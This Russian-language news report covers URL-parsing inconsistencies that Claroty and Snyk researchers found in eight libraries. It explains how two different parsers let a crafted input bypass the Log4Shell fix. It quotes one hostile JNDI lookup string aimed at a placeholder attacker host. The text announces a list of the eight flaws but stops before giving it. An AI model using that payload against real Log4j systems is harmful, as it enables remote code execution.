Исследователи в области кибербезопасности из компаний Claroty и Synk выявили уязвимости в 8 различных библиотеках для парсинга URL-адресов. Обнаруженные несоответствия и путаницы можно использовать для обхода проверок и создания широкого спектра векторов атак, говорит SecurityLab.
В общей сложности было выявлено восемь уязвимостей в библиотеках, написанных на языках C, JavaScript, PHP, Python и Ruby и используемых несколькими web-приложениями.
«Путаница при синтаксическом анализе URL-адресов может привести к неожиданному поведению программного обеспечения (например, web-приложения) и может быть использована злоумышленниками для создания условий отказа в обслуживании, утечки информации или, возможно, для проведения атак с удаленным выполнением кода», — пояснили исследователи.
Различия в том, как библиотеки синтаксического анализа интерпретируют запрос URL-адреса, могут представлять значительный риск для пользователей. В качестве примера можно привести критическую уязвимость Log4Shell , обнаруженную в прошлом году в библиотеке Log4j. Контролируемая злоумышленником строка при оценке и регистрации уязвимым приложением приводит к поиску JNDI, который подключается к серверу злоумышленника и выполняет произвольный Java-код.
Хотя Apache Software Foundation (ASF) быстро выпустила исправление для устранения уязвимости в своей библиотеке Apache Log4j, вскоре выяснилось, что меры по предотвращению эксплуатации можно обойти с помощью специально созданного ввода в формате «${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}».
«Обход связан с тем, что внутри процесса поиска JNDI использовались два разных (!) анализатора URL-адресов — один анализатор для проверки URL-адреса, а другой для его извлечения. В зависимости от того, как каждый анализатор обрабатывает часть фрагмента (#) URL-адрес, компонент Authority также меняется», — сказали исследователи.
В частности, если ввод обрабатывается как обычный URL-адрес HTTP, компонент Authority (комбинация имени домена и номера порта) заканчивается при обнаружении идентификатора фрагмента, тогда как при обработке в качестве URL-адреса LDAP анализатор назначит весь «127.0.0[.]1#.evilhost.com:1389» в качестве центра, поскольку спецификация URL-адреса LDP не учитывает фрагмент.
Использование нескольких синтаксических анализаторов стало одной из двух основных причин, по которым были обнаружены восемь уязвимостей. Другая причина — проблемы, возникающие из-за несоответствий, когда библиотеки следуют разным спецификациям URL-адресов, что фактически создает лазейку для преступников.
Диссонанс варьируется от путаницы, связанной с URL-адресами, содержащими обратную косую черту («\»), нестандартное количество косых черт (например, https:///) или закодированные данные URL («%»), до URL-адресов с отсутствующими схемами URL. При успешном использовании такие уязвимости могут привести к удаленному выполнению кода или к отказу в обслуживании (DoS) и фишинговым атакам с открытым перенаправлением.
Ниже приводится список из восьми обнаруженных уязвимостей (в настоящее время все проблемы исправлены):
Нажимая на кнопку, я даю Согласие на обработку персональных данных в соответствии с Политикой обработки.